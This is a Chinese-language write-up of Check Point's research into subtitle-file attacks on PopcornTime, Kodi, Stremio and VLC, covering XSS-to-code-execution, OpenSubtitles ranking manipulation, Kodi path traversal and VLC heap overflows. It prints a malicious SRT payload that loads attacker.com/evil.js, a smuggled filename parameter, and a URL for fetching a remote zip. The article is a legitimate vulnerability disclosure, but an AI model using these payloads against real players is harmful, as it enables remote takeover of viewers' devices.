导语:最近CheckPoint公司的研究人员对一种全新的攻击方式——字幕攻击,进行了一个全面研究。其实说起字幕攻击,研究人员嘶吼编辑组曾在今年5月进行过相关的跟踪研究,并对攻击者如何使用字幕文件来控制用户的设备,而不会被检测到进行了分析。
前言
最近CheckPoint公司的研究人员对一种全新的攻击方式——字幕攻击,进行了一个全面研究。其实说起字幕攻击,研究人员嘶吼编辑组曾在今年5月进行过相关的跟踪研究,并对攻击者如何使用字幕文件来控制用户设备而不会被检测进行了分析,详情请点击《新型字幕攻击:多款播放器远程命令执行,全球约2亿用户受影响》。
字幕攻击目前已在许多流行的媒体平台开始传播,包括VLC、Kodi (XBMC)、Popcorn-Time和Stremio等播放器都存在该漏洞。攻击者利用该漏洞,可以从事窃取敏感信息,安装勒索软件,组织大规模DDoS等多种攻击。由于这些漏洞是固定的,所以CheckPoint的研究人员得以对这些漏洞的攻击技术细节进行全方位的研究。
PopcornTime
作为一个开源项目在短短几个星期内开发的多平台“Netflix for pirates”将一个Torrent客户端,视频播放器和无休止的擦除功能的攻击组合集成在一个看似非常友好的图形用户界面下。
PopcornTime的观影网站尝试通过盗版BitTorrent资源向用户发布更多电影内容,并承诺可带来Netflix式的体验,。尽管直观的用户界面赢得了广泛赞扬,但因版权问题自诞生之日起就风波不断,目前PopcornTime的观影网站已经关闭。
PopcornTime应用程序停止运行后,被各种不同的组织接管,以维护程序并开发新功能。而最初的PopcornTime项目的成员宣布他们继续负责popcorntime.io(已转变为popcorntime.sh)项目的运营。
Webkit节目接口包含电影信息和元数据,它提供预告片,影片摘要,投放信息,封面照片,IMDB评级等等。
PopcornTime中的字幕
为了使用户的观影体验更好,PopcornTime会支持自动获取字幕的功能,而黑客也是利用此功能对用户进行攻击。在后台的处理程序中,PopcornTime使用开放字幕作为其唯一的字幕来源。PopcornTime目前拥有超过四百万个条目和非常方便的API,是非常受欢迎的存储库。
该API不仅可以方便地搜索和下载字幕,而且还有一个推荐算法可以帮助用户找到适合他们的电影和发行的字幕文件。
攻击分析
如上所述,PopcornTime是基于webkit的,准确的叫法是NW.js,以前称为node-webkit,NW.js平台允许开发人员在其本机应用程序中使用HTML5,CSS3和WebGL等Web技术。
此外,Node.js API和第三方模块可以直接从DOM调用。本质上,一个NW.js应用程序是执行各种操作的网页,所有代码都是用JavaScript或HTML编写的,并且用CSS格式化。像任何网页一样,它可能容易受到XSS攻击。在这种情况下,由于它运行在节点js引擎上,因此XSS允许使用服务器端功能。换句话说,XSS实际上是RCE。
一旦用户开始播放电影,攻击也就开始了。
PopcornTime使用之前提到的API发出查询,并下载推荐的字幕(稍后研究人员将深入了解该过程,因为它是攻击的关键步骤)。
接下来,PopcornTime尝试将文件转码为.srt格式,下图就是 /src/app/vendor/videojshooks.js:
在各种解码和解析功能之后,使用“cues”数组在正确的时间将创建的元素(单个字幕)附加到显示器上,下图就是updateDisplay函数():
这使研究人员能够将任何html对象添加到显示器上。显然,完全控制任何HTML元素本身是危险的。然而,当处理基于节点的应用程序时,了解XSS等于RCE是很重要的。可以使用诸如child_process之类的模块轻松执行系统命令。一旦研究人员的未经批准的JavaScript被加载到显示器,就会有几行代码被执行。
一个基本的SRT文件看起来像这样:
1
00:00:01,000 –> 00:00:05,000
Hello World
研究人员可以使用HTML标签,而不是“Hello World”的“图片”标签。尝试加载一个不存在的图像,并为其提供onerror属性,以下是malicious.srt示例和evil.js(命令执行):
如malicious.srt示例所示,研究人员使用onerror属性JavaScript功能来删除损坏图像的显示图标,并将研究人员的恶意远程有效载荷附加到页面。而且,evil.js也将弹出传统的calc.exe。
恶意攻击的源头——OpenSubtitles
所以研究人员可以在PopcornTime上执行代码,虽然客户端漏洞是有价值的,但它们往往依赖于一些用户交互。为了成功开发,必须点击链接,必须阅读pdf,或者网站需要被黑客入侵。研究人员都知道,互联网上的开放社区会不小心读取字幕,并被视为无害的文本文件,所以研究人员证明这些文件可能是危险的。
OpenSubtitles拥有超过四百万个条目,平均每天下载量为五百万,是字幕最大的在线社区。其广泛的API也被广泛地集成到许多其他视频播放器中,他们甚至提供智能搜索功能,这是一个链接功能,根据用户提供的信息返回最佳匹配字幕。研究人员可以操纵此API以去除任何用户交互,并确保存储在OpenSubtitles上的恶意字幕被自动下载。
当用户开始播放电影时,API立即发送SearchSubtitles请求,导出包含符合研究人员的条件(IMDBid)的所有字幕对象的XML,下图是API SearchSubtitles请求图以及API SearchSubtitles响应:
在API SearchSubtitles请求图中,研究人员看到搜索条件为“imdbid”,在API SearchSubtitles响应图中的响应包含由imdbid匹配的所有字幕。因为API具有基于其文件名,IMDBid,上传者等级等等的字幕的算法。仔细阅读文档,研究人员发现了以下的排名方法:
在上图中,研究人员看到基于如:标签,IMDBid,上传用户等的匹配标准。根据匹配的标准,假设研究人员(如“user | anon”)将其自定义的恶意字幕上传到OpenSubtitles,可以看到该字幕只会得到5分。但是在这里研究人员学到了一个有价值的教训,仅仅阅读文档是不够的,因为源代码揭示了一个非法行为。
matchTag函数,下图是opensub-api排名算法:
PopcornTime发送的请求仅指定IMDBid,这意味着MatchedBy ==='tag'的条件将永远为false。
这被称作调用函数matchTags():
matchTags函数会将影片的文件名和标题分拆分。
标签基本上是文件名中发现的独立字或数字,通常用点 (“.”) 和破折号 (“-“)分隔。而电影文件名和字幕文件名之间的共享标签数量需要除以电影标签的数量,乘以最大值7,这是在两个文件名完全兼容的情况下可以分配的最大值 。
例如,如果电影文件名为“Trolls.2016.BDRip.x264- [YTS.AG] .mp4”,则标签如下:
[Trolls,2016,BDRip,x264,YTS,AG,mp4]
作为应用程序(例如PopcornTime)下载的电影文件名的名称可以很容易地被发现(通过使用嗅探器),研究人员可以确保研究的字幕文件具有完全相同的名称,但以“srt”扩展名结尾会有奖励字幕排名与额外的7分。
把它们放在一起,研究人员认为他们上传的字母可以达到12分的评级。其中IMDBid的匹配是微不足道的(+5),并且知道torrent网站和PopcornTime使用的具体版本与打开数据包嗅探器一样简单。所以研究人员可以使恶意字幕导致完全兼容(+7)。
虽然这是一个相当不错的评级分数,但研究人员仍然不满意。
因为播放器推荐的字幕都是一些最受欢迎的内容比如,斯诺登,死亡等:
上图显示了世界上最流行的7种语言的得分,并显示其平均和最高分。通过一系列流行的字幕自动清理,研究人员注意到,字幕得到的最高分是14,而平均值约为10。再次回顾评分系统,研究人员意识到其实字幕评分是可以很容易地上升的。
所以研究人员在OpenSubtitles注册了一个账户,还有一个4分40秒的Python,以下就是研究人员的新用户排名。
研究人员写了一个小脚本,显示给定电影的所有可用字幕。在下图中,你可以看到研究人员的字幕得分最高为15,以下就是研究人员自定义的恶意字幕排名第一的截图:
这意味着,研究人员可以强制用户加载研究人员制作的恶意字幕。
KODI
Kodi (原名 XBMC) 是一款经典免费开源、跨平台且极其强大专业的多媒体影音中心软件播放器,包含了专业的影音内容管理以及解码播放功能一体,提供适合在电视、投影、大屏幕上显示的全屏界面,无线手机遥控操作方式,以及功能相当丰富的插件扩展,绝对是打造家庭影院和私人电影库的必备神器。可用于所有主要平台(Windows,Linux,Mac,iOS和Android),72种语言,超过4000万人使用,是最常用的Media Center软件。 KODI也是智能电视和Raspberry-Pis的热门组合。
KODI的字幕
像许多其他KODI功能一样,字幕由Python插件管理。最常见的字幕插件是开放字幕,而且研究人员已经熟悉了他们的API,所以就可以直接进入字幕下载过程。插件使用以下函数搜索字幕:
searchsubtitles()从OpenSubtitles中检索字幕列表,包括其元数据。用一个for循环遍历这些字幕,并使用addDirectoryItem()将它们添加到显示器中,如下所示就是“Snowden”电影的印尼语字幕:
如上图所示,发送到addDirectoryItem()的字符串是:
plugin://%s/?action=download&link=%s&ID=%s&filename=%s&format=%s
由于Open-Subtit是开源的,攻击者可以控制SubFileName值下接收的filename参数,如下所示地API响应。
鉴于文件名完全由攻击者控制,也可以通过上传一个Subtitles.srt&link=<controlled>&ID=<controlled>。
这会导致以下字符串:
plugin://%s/?action=download&link=%s&ID=%s&filename=Subtitles.srt&link=<controlled>&ID=<controlled>&format=%s
由于在解析字符串时使用基本的分割函数,因此可以进行此覆盖。这些篡改的参数对于在用户选择的字幕菜单后的运行函数至关重要。一旦用户从字幕菜单中选择了一个字幕,就会发送到Download():
现在研究人员就控制了传递给它的所有参数,并滥用这些功能。通过提供无效的ID(如“-1”),研究人员到达“if not result”分支。该分支应该下载原始档案,以防Open-Subtitles API无法获取必要的文件。
通过使用url参数,研究人员可以下载他们所希望的任何zip文件,如http://attacker.com/evil.zip。用户可能会从互联网不小心下载任意的zip档案,但是用KODI的内置漏洞来链接下载任意的zip档案会使其产生攻击行为。通过分析ExtractArchive(),研究人员注意到它将strPath(提取目标路径)连接到strFilePath(归档中的文件路径,由迭代器生成)。
创建包含名为“..”的文件夹的zip可以递归到允许研究人员控制提取目标路径(CVE-2017-8314)。
使用这个目录遍历漏洞,研究人员可以覆盖KODI的字幕插件,下图就是恶意ZIP文件结构。
覆盖插件意味着KODI将很快执行研究人员的文件,研究人员的恶意Python代码可能与原始插件完全重复,并增加了任何所需的恶意行为。
Stremio
PopcornTime绝对标志着流媒体应用的兴起,不过随着它的停运,用户就不得不寻找替代品。
Stremio是一个半开源内容聚合器,像PopcornTime一样,它的设计易于使用,并具有类似的用户界面。有趣的是,Stremio与PopcornTime共享了一些引擎的特点。最重要的是对于研究人员来说,它是一个基于网络套件的应用程序,它使用Opensubtitle.org作为其字幕提供程序。
Strem.IO还将字幕内容添加到webkit界面,所以研究人员认为XSS也是一个很好的方向。但是,尝试使用与PopcornTime相同的分析技术却失败了:
研究人员可以在底部看到被损坏的图像,但是却没有执行任何代码。显然,研究人员的JavaScript已被净化。
Stremio代码被归档为一个ASAR文件,一种简单的TAR格式,将所有文件连接在一起,无需压缩。提取源代码并进行美化,研究人员意识到,添加到屏幕的任何文本都通过了Angular-Sanitize。净化服务将解析HTML,即只允许安全和白名单的标记和属性生运行,从而对字符串进行净化,因此不包含脚本表达式或危险属性。被强制使用静态HTML标签没有脚本功能真的限制了研究人员的分析。
如果你曾使用过Stremio,可能熟悉其“支持研究人员”的弹窗。
使用HTML <img>标签,研究人员能够在屏幕中间显示该弹窗的精确副本。使用<a href>标签包装,意味着点击关闭按钮会将此网络套件实例重定向到研究人员的未经批准的页面:
1
00:00:01,000 –> 00:01:00,000
<a href=”http://attacker.com/evil.js”><img src=”http://attacker.com/support.jpg”></a>
该页面与PopcornTime攻击中的evil.js完全相同,它利用nodejs功能在受害者的设备上执行代码。
VLC
研究人员已经意识到字幕作为攻击媒介的灾难性危害,目前光VLC就拥有超过1.8亿用户,是最受欢迎的媒体播放器之一。这种开放源代码的便携式跨平台媒体播放器可用于几乎任何可以目前的平台:Windows,OS X,Linux,Windows Phone,Android,Tizen和iOS。研究人员确信与此相关的字幕相关漏洞也存在。
事实上,VLC是一个完整的多媒体框架,如DirectShow或GStreamer,你可以在其中动态加载和插入许多模块。核心框架从输入(文件,网络流)到输出(音频或视频,屏幕或网络)都会进行媒体处理。它使用模块在每个阶段完成大部分工作,比如各种分离器,解码器,滤波器和输出。
以下是VLC中实现的主要模块功能的图表:
在研究人员的研究中,研究人员遇到了超过25个字幕格式。其中一些是二进制的,一些是文本的,只有少数文档。
虽然SRT支持一组有限的HTML标签和属性,但是研究人员非常惊讶地了解了各种格式提供的其他异域功能。例如,SAMI字幕允许嵌入图像,SSA支持多个主题或样式的定义,然后从每个字幕引用它们, ASS甚至允许二进制字体嵌入,通常没有任何库可以解析这些格式。
返回VLC
文字字幕由VLC在其解码器中解析为subtitle.c。以下是它支持的所有格式及其解析函数:
解码器的唯一工作是解析每种格式的不同定时约定,并将每个字幕发送到其解码器。除了由开源库libass解码的SSA和ASS之外,所有这些格式都被发送到VLC自己的解码器subsdec.c。
subsdec.c会解析每个字幕的文本字段,并创建它的两个版本。第一个是一个纯文本版本,所有标签,属性和样式都被删除。第二个是功能更丰富的版本被称为HTMLsubtitle, HTML字幕包含所有样式属性,如字体,对齐等。字幕解码后,字幕会发送到渲染的最后阶段,文本渲染大多是使用freetype库完成的。
漏洞的寻找
在VLC字幕相关代码中,研究人员很快注意到使用原始指针而不是内置字符串函数完成了大量解析。这通常是一个坏主意。例如,在分析字体标签(例如系列,大小或颜色)的可能属性的同时,VLC无法在某些地方验证字符串的结尾。解码器将继续从缓冲区读取,直到满足'>',然后跳过任何Null终结符。 (CVE-2017-8310)
Fuzzing
在手动审核代码时,研究人员也开始对字幕相关漏洞进行VLC的拼接。
研究人员选择的工具是AFL,AFL号称是当前最高级的Fuzzing测试工具之一。由lcamtuf所开发。通过对源码进行重新编译时进行插桩(简称编译时插桩)的方式自动产生测试用例来探索二进制程序内部新的执行路径。与其他基于插桩技术的fuzzers相比,afl-fuzz具有较低的性能消耗,有各种高效的fuzzing策略和tricks最小化技巧, 不需要先行复杂的配置,能无缝处理复杂的现实中的程序。当然AFL也支持直接对没有源码的二进制程序进行测试,但需要QEMU的支持。
对于研究人员的语料库来说,他们可以以各种格式下载并重写了不同功能的几个字幕文件。为了避免渲染和显示视频,研究人员使用转码功能将一个只包含黑屏的短片转换成另一个编解码器。
以下是研究人员用来运行AFL的命令:
./afl-fuzz –t 600000 –m 2048 –i input/ -o output/ –S “fuzzer$(date +%s)” -x subtitles.dict — ~/sources/vlc-2.2-afl/bin/vlc-static –q –I dummy –subfile
@@ -sout=‘#transcode{vcodec=“x264”,soverlay=“true”}:standard{access=”file”,mux=”avi”,dst=”/dev/null”}’ ./input.mp4 vlc://quit
通过使用AFL才找到一个带有漏洞的函数:ParseJSS。 JSS,代表JACO子脚本文件。 JACOsub是一种非常灵活的格式,允许定时操作,包含外部JACOsub文件,时钟暂停等。JACO脚本严重依赖指令,一个指令是一系列在一起的字符代码串。用这些字符串来确定一个副标题的位置,字体,样式,颜色等等。AFL发现的崩溃是由于在尝试跳过不受支持的指令——CVE-2017-8313时的外接读取。
如果在没有任何后续空格的情况下写入指令,则此while循环将跳过Null字节,结束psz_text超过运行缓冲区。在整个代码中,psz_text是一个指向堆上分配的Null终止字符串的指针。
这引起了研究人员对ParseJSS函数的关注,研究人员很快在解析其他指令时手动发现了另外两个超出限制的读取漏洞。这次是分析转移和时间指令(分别为'S'和'T')的解析,这是由于移位可能大于psz_text长度(CVE-2017-8312)。
虽然攻击者可以利用上述的VLC漏洞使程序崩溃,但对研究人员来说的分析还不够。研究人员在代码执行之后,还需要一个漏洞,达到编写一些数据的目的。通过继续阅读ParseJSS函数,并查看其他指令,研究人员发现C[olor]和F[ont]指令可以提供更强大的原语。由于双增量(double increment)有误,研究人员可以跳过分隔空字节并写入缓冲区外。这种基于堆的溢出允许研究人员最终执行任意代码(CVE-2017-8311)。
在另一种情况下,VLC INTENTIONALLY SKIPS THE NULL BYTE(行1883)也会导致堆缓冲区溢出。
漏洞攻击过程
由于VLC支持许多平台的操作系统和硬件架构,且每个平台都可能利用一些不同的特征和堆实现攻击。从指针大小到缓存,一切都很重要。
在研究人员的PoC中,他们利用Ubuntu 16.04 x86_64。有了堆的开源实现,研究人员可以非常详细地解释和理解开发过程。通过使用GLIBC-malloc,得到少量的通用堆技术。但是,发生此漏洞的条件阻止研究人员使用些方法。所以研究人员唯一的选择是使用该漏洞作为写入原语来覆盖某些特定的应用程序数据,这种覆盖的数据反过来又会导致更强大的原语或完全控制代码执行。
VLC是一个高度线程化的应用程序,借用堆的实现,每个线程都有自己的堆技术。这限制了研究人员可能覆盖的对象的数量即只有在处理字幕的线程中分配的对象。而且,研究人员更有可能溢出一个在用于触发漏洞的代码附近分配的对象。
由于研究人员创建的线程代码和攻击函数不是太长,所以他们决定手动开始寻找有用的对象。研究人员想出了demux_sys_t和variable_t。此外,通过自动跟踪堆上的每个分配的对象,研究人员还发现了link_map,es_out_id_t和一些在其中具有虚拟表的Qt对象。最终研究人员认为攻击者会利用variable_t攻击用户,以下是variable_t的结构
该对象用于在VLC应用程序中保存变量类型的数据,包括模块的配置值和命令行选项。像这样的对象有很多,这就增加了研究人员操纵堆的机会,其中在一个堆之前有一个空位。 variable_t struct有一个p_ops字段,它保存了一个指向操作变量值的函数指针的指针。控制此字段可使攻击者获得对该程序的控制,而其他对象则不可以利用这个字段或利用时有太多限制。
现在研究人员就有了一个受害对象,为了确保他们可以在受害者观看影片之前分配一个JACOSubScript(JSS)字幕。这个操纵堆的过程必须处于一个可预测和随时可用的状态,称为Heap Feng Shui 或Heap-Fu 或Grooming。幸运的是,研究人员很幸运在受害对象使用之前找到一个漏洞,“_”sub-fps“的variable_t。
译者注:Heap Feng Shui就是利用漏洞进行任意代码执行的技术,该技术尝试通过仔细选择的大小进行堆分配来操纵堆的布局。 它以风水命名,这是一种古老的中国美学体系,涉及到空间精确对齐的选择。
尽管研究人员没有使用任何其他的堆成形原型,但他们确实发现了一个非常有趣的代码流。当打开字幕文件时,VLC不存在用于解析新文件的模块。因为 VLC的架构非常模块化,当解析文件时,它会查看所有的模块(库),加载它们并检查是否知道如何解析给定的流(在本例中为文件)。易受攻击的代码驻留在字幕模块中,但不是第一个模块加载。两个模块之前,VobSub模块被加载并检查字幕是否是VobSub格式。研究人员可以欺骗这个模块,让它误以为研究人员的文件实际上是一个VobSub文件,将VobSub魔术常量放在第一行。然后,该模块开始解析文件,进行各种分配和取消分配。此代码在分配受害对象之前运行,所以这个VobSub / JSS自动语言识别可以用于Heap Feng Shui。
该漏洞使研究人员能够在分配的字幕串之后逐步地覆盖数据,不过这需要解决一个主要问题,variable_t struct的第一个字段是psz_name,它被假定为一个指向字符串的指针。该指针会在VLC的整个使用周期中被解除引用几次。由于ParseJSS函数复制字符串,研究人员不能写入NULL字节,它是有效指针的前两个字节。因此,研究人员无法写入有效的指针,并且不能溢出到variable_t struct中。为了解决这个问题,研究人员会在堆的元数据上做些手脚。研究人员使用了一系列复杂的分配溢出取代分配序列,并且覆盖了Chunked编码的元数据。这使研究人员能够覆盖variable_t结构中的p_ops字段,而不会覆盖psz_name字段。
现在研究人员发现自己面临着一个大问题,即应该写什么呢?在关闭VLC时,在Destroy函数中使用p_ops字段。该代码调用该字段指向的数组中的pf_free函数,并将该值作为参数传递。所以研究人员需要指向研究人员的第一个小工具(实际上是16个字节之前)的指针。研究人员这里的主要问题是ASLR,解决这个问题的第一个办法就是部分覆盖。原始指针指向libvlccore库中的float_ops静态数组。研究人员可以部分覆盖此值,并将其指向此库中的其他位置。
第二个办法就是找出在ubuntu中不是随机化的主要二进制文件,研究人员在主要二进制文件中发现了一些非常有趣的小工具。例如,一个调用dlysm的小工具,然后使用另一个寄存器作为第一个参数调用结果(代码为:dlsym(-1,$ rsi)($ rbx)))。
第三个方法是进行部分复制,由于研究人员的漏洞是从一个块边界之外复制过来的,所以他们可以操纵堆在块中写一个堆指针,然后部分地复制它。
不过研究人员并没有使用这三种常规的办法,因为无脚本的开发带来了许多挑战。通过禁用ASLR以及指向研究人员的堆,地址有所改变,很可能取决于线程的行为,但在统计时,可以假设它在某个地址中。研究人员的下一个问题是,应该在哪里显示? VLC逐行读取字幕文件,并将每行复制到堆上的块。低级线(low-level line)读取机制对204800字节的行大小会构成合成限制。
研究人员将数据放在所能允许的最长行中,并找出统计数据。通过建立了一个基于ROP链的libvlccore,研究人员可以粗略地将p_ops字段指向他们的所能允许的最长行中,并用自定义的字幕文件启动VLC。如此一来,一个gnome-calculator就弹了出来。
总结
研究人员表示,目前可以通过媒体播放平台中的各种漏洞,对用户发起攻击。漏洞类型可以是简单的XSS,也可以是逻辑错误和内存损坏。
由于目前的媒体播放器多种多样,所以攻击方式也就多种多样,可能会影响到数亿用户。通过本文的分析,可以肯定的是,网络攻击无处不在,即使是那些我们认为最不可能的领域。总之一句话,只要是在系统上运行的所有程序都可能被黑客利用,鉴于此,我们将会继续寻找这些不常见的攻击行为,并为大家提供相应的解决方案。